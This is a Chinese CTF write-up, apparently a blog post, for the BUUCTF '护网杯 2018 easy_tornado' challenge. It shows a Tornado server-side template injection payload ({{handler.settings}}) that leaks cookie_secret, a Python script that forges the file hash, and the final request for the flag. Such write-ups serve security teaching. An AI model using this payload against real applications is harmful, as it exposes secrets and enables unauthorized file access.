buuctf-web-[护网杯 2018]easy_tornado-wp

"本文介绍了如何通过Python模板注入(SSTI)来解决护网杯2018中easy_tornado挑战。文章详细阐述了利用Tornado框架的模板渲染功能,寻找cookie_secret的过程,包括通过error消息发现模板注入,利用{{handler.settings}
摘要由CSDN通过智能技术生成

[护网杯 2018]easy_tornado

知识点

  • Python模板注入(ssti)

过程

根据题目名称tornado,搜索一番,发现tornado是一个Python的模板

welcome.txt提示render,经过查询render是python中的一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面。

主页:

三个文件中分别提示的内容为

  • flag in /fllllllllllllag
  • render
  • md5(cookie_secret+md5(filename))

然后抓个包

不难发现,在file文件下,传入了两个get型的参数,filename和filehash,为了得到flag,filename肯定传入/fllllllllllllag,而filehash需要根据md5(cookie_secret+md5(filename))找出对应的cookie_secret,所以我们重点是放在**找cookie_secret**上

修改请求行中的filename,发现提示

访问提示页面/error?msg=Error

存在模板注入,之后进行各种尝试与资料获取发现对于tornado框架存在附属文件handler.settings,于是尝试输入/error?msg={{handler.settings}}

发现 ‘cookie_secret’:

计算filehash值

import hashlib
hash = hashlib.md5()

filename='/fllllllllllllag'
cookie_secret="3799aef2-cdfe-4c5d-ae04-47b3723689a0"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())

url传入

/file?filename=/fllllllllllllag&filehash=7828f14055747177adf201166beddeda

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值